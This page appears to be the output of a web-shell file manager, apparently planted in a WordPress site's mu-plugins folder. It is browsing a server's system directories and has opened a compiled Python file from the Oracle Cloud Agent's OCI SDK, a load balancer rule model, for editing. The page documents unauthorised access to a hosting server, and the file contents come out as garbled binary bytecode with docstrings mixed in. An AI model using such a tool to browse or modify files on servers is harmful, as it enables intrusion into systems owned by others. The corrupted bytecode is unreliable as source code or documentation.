📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
libexec
›
oracle-cloud-agent
›
plugins
›
osms
›
oci
›
load_balancer
›
📁 models
📍
Lokasi:
/usr/libexec/oracle-cloud-agent/plugins/osms/oci/load_balancer/models
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: control_access_using_http_methods_rule.pyc
a O��f � @ sD d dl mZ ddlmZmZmZ ddlmZ eG dd� de��ZdS )� )�Rule� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ sd e Zd ZdZdd� Zedd� �Zejdd� �Zedd� �Zejd d� �Zd d� Z dd � Z dd� ZdS )�!ControlAccessUsingHttpMethodsRulea An object that represents the action of returning a specified response code when the requested HTTP method is not in the list of allowed methods for the listener. The load balancer does not forward a disallowed request to the back end servers. The default response code is `405 Method Not Allowed`. If you set the response code to `405` or leave it blank, the system adds an "allow" response header that contains a list of the allowed methods for the listener. If you set the response code to anything other than `405` (or blank), the system does not add the "allow" response header with a list of allowed methods. This rule applies only to HTTP listeners. No more than one `ControlAccessUsingHttpMethodsRule` object can be present in a given listener. c K s8 dddd�| _ dddd�| _d| _d| _d| _d | _dS ) a� Initializes a new ControlAccessUsingHttpMethodsRule object with values from keyword arguments. The default value of the :py:attr:`~oci.load_balancer.models.ControlAccessUsingHttpMethodsRule.action` attribute of this class is ``CONTROL_ACCESS_USING_HTTP_METHODS`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param action: The value to assign to the action property of this ControlAccessUsingHttpMethodsRule. Allowed values for this property are: "ADD_HTTP_REQUEST_HEADER", "EXTEND_HTTP_REQUEST_HEADER_VALUE", "REMOVE_HTTP_REQUEST_HEADER", "ADD_HTTP_RESPONSE_HEADER", "EXTEND_HTTP_RESPONSE_HEADER_VALUE", "REMOVE_HTTP_RESPONSE_HEADER", "ALLOW", "CONTROL_ACCESS_USING_HTTP_METHODS", "REDIRECT", "HTTP_HEADER" :type action: str :param allowed_methods: The value to assign to the allowed_methods property of this ControlAccessUsingHttpMethodsRule. :type allowed_methods: list[str] :param status_code: The value to assign to the status_code property of this ControlAccessUsingHttpMethodsRule. :type status_code: int �strz list[str]�int)�action�allowed_methods�status_coder �allowedMethods� statusCodeN�!CONTROL_ACCESS_USING_HTTP_METHODS)� swagger_types� attribute_map�_action�_allowed_methods�_status_code)�self�kwargs� r ��/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/oci/load_balancer/models/control_access_using_http_methods_rule.py�__init__ s ��z*ControlAccessUsingHttpMethodsRule.__init__c C s | j S )a **[Required]** Gets the allowed_methods of this ControlAccessUsingHttpMethodsRule. The list of HTTP methods allowed for this listener. By default, you can specify only the standard HTTP methods defined in the `HTTP Method Registry`__. You can also see a list of supported standard HTTP methods in the Load Balancing service documentation at `Managing Rule Sets`__. Your backend application must be able to handle the methods specified in this list. The list of HTTP methods is extensible. If you need to configure custom HTTP methods, contact `My Oracle Support`__ to remove the restriction for your tenancy. Example: ["GET", "PUT", "POST", "PROPFIND"] __ http://www.iana.org/assignments/http-methods/http-methods.xhtml __ https://docs.cloud.oracle.com/Content/Balance/Tasks/managingrulesets.htm __ http://support.oracle.com/ :return: The allowed_methods of this ControlAccessUsingHttpMethodsRule. :rtype: list[str] �r �r r r r r >